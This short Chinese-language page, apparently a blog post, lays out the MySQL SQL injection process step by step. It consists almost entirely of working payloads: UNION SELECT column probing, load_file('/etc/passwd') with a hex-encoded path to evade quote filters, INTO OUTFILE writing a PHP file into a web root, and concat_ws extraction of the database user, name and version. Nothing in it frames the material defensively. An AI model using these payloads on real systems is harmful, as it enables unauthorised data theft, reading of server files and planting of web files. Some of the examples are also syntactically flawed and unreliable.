1. 程式人生 > >MySQL的注入過程

MySQL的注入過程

MySQL的注入過程

一,order by查詢欄位

二,union select

三,load_file()函式讀取檔案(load_file()函式讀取檔案,使用者必須要file許可權,檔案必須再服服器上,讀檔案的絕對路徑,檔案的容量必須小於max_allowed_packet位元組)

例如:union select 1,load_file('/etc/passwd'),2,3,4,通常一些防注入的語句不允許單引號出現,用union select 1 load_file('0x2f6574632f706173737764'),0x2f6574632f706173737764為/etc/passwd的十六進位制結果。

四,into outfile 寫檔案

select '<?php phpinfo();?>' into outfile 'c:\wwwroot\1.php'

select '0x537472696e6720746f20757365' into outfile 'c:\wwwroot\1.php'

五,連線字元踹

concat_ws()函式,select name from students where id=1 union select concat_ws(0x2c,user(),database(),version())